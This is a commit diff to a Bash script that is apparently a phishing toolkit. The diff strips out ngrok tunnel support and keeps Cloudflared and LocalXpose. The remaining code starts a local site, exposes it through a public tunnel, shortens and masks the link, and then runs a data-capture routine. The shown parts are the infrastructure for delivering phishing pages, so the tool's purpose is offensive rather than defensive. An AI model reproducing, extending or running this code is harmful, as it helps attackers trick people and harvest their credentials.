@@ -153,7 +153,7 @@ reset_color() {
153
153
154
154
# # Kill already running process
155
155
kill_pid () {
156
- check_PID=" php ngrok cloudflared loclx"
156
+ check_PID=" php cloudflared loclx"
157
157
for process in ${check_PID} ; do
158
158
if [[ $( pidof ${process} ) ]]; then # Check for Process
159
159
killall ${process} > /dev/null 2>&1 # Kill the Process
@@ -300,25 +300,6 @@ download() {
300
300
fi
301
301
}
302
302
303
- # # Install ngrok
304
- install_ngrok () {
305
- if [[ -e " .server/ngrok" ]]; then
306
- echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${GREEN} Ngrok already installed."
307
- else
308
- echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Installing ngrok..." ${WHITE}
309
- arch=` uname -m`
310
- if [[ (" $arch " == * ' arm' * ) || (" $arch " == * ' Android' * ) ]]; then
311
- download ' https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' ' ngrok'
312
- elif [[ " $arch " == * ' aarch64' * ]]; then
313
- download ' https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' ' ngrok'
314
- elif [[ " $arch " == * ' x86_64' * ]]; then
315
- download ' https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' ' ngrok'
316
- else
317
- download ' https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' ' ngrok'
318
- fi
319
- fi
320
- }
321
-
322
303
# # Install Cloudflared
323
304
install_cloudflared () {
324
305
if [[ -e " .server/cloudflared" ]]; then
@@ -468,28 +449,6 @@ capture_data() {
468
449
done
469
450
}
470
451
471
- # # Start ngrok
472
- start_ngrok () {
473
- cusport
474
- echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
475
- { sleep 1; setup_site; }
476
- echo -e " \n"
477
- read -n1 -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Change Ngrok Server Region? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]:${ORANGE} " opinion
478
- [[ ${opinion,,} == " y" ]] && ngrok_region=" eu" || ngrok_region=" us"
479
- echo -e " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
480
-
481
- if [[ ` command -v termux-chroot` ]]; then
482
- sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
483
- else
484
- sleep 2 && ./.server/ngrok http --region ${ngrok_region} " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
485
- fi
486
-
487
- sleep 8
488
- ngrok_url=$( curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo ' (https)://[^/"]+(.ngrok.io)' )
489
- custom_url " $ngrok_url "
490
- capture_data
491
- }
492
-
493
452
# # Start Cloudflared
494
453
start_cloudflared () {
495
454
rm .cld.log > /dev/null 2>&1 &
@@ -565,7 +524,6 @@ tunnel_menu() {
565
524
cat << - EOF
566
525
567
526
${RED} [${WHITE} 01${RED} ]${ORANGE} Localhost
568
- ${RED} [${WHITE} 02${RED} ]${ORANGE} Ngrok.io ${RED} [${CYAN} Account Needed${RED} ]
569
527
${RED} [${WHITE} 03${RED} ]${ORANGE} Cloudflared ${RED} [${CYAN} Auto Detects${RED} ]
570
528
${RED} [${WHITE} 04${RED} ]${ORANGE} LocalXpose ${RED} [${CYAN} NEW! Max 15Min${RED} ]
571
529
@@ -577,10 +535,8 @@ tunnel_menu() {
577
535
1 | 01)
578
536
start_localhost;;
579
537
2 | 02)
580
- start_ngrok;;
581
- 3 | 03)
582
538
start_cloudflared;;
583
- 4 | 04 )
539
+ 3 | 03 )
584
540
start_loclx;;
585
541
* )
586
542
echo -ne " \n${RED} [${WHITE} !${RED} ]${RED} Invalid Option, Try Again..."
@@ -625,7 +581,7 @@ custom_url() {
625
581
tinyurl=" https://tinyurl.com/api-create.php?url="
626
582
627
583
{ custom_mask; sleep 1; clear; banner_small; }
628
- if [[ ${url} =~ [-a-zA-Z0-9.]* (ngrok.io | trycloudflare.com| loclx.io) ]]; then
584
+ if [[ ${url} =~ [-a-zA-Z0-9.]* (trycloudflare.com| loclx.io) ]]; then
629
585
if [[ $( site_stat $isgd ) == 2* ]]; then
630
586
shorten $isgd " $url "
631
587
elif [[ $( site_stat $shortcode ) == 2* ]]; then
@@ -950,7 +906,6 @@ main_menu() {
950
906
kill_pid
951
907
dependencies
952
908
check_status
953
- install_ngrok
954
909
install_cloudflared
955
910
install_localxpose
956
911
main_menu
0 commit comments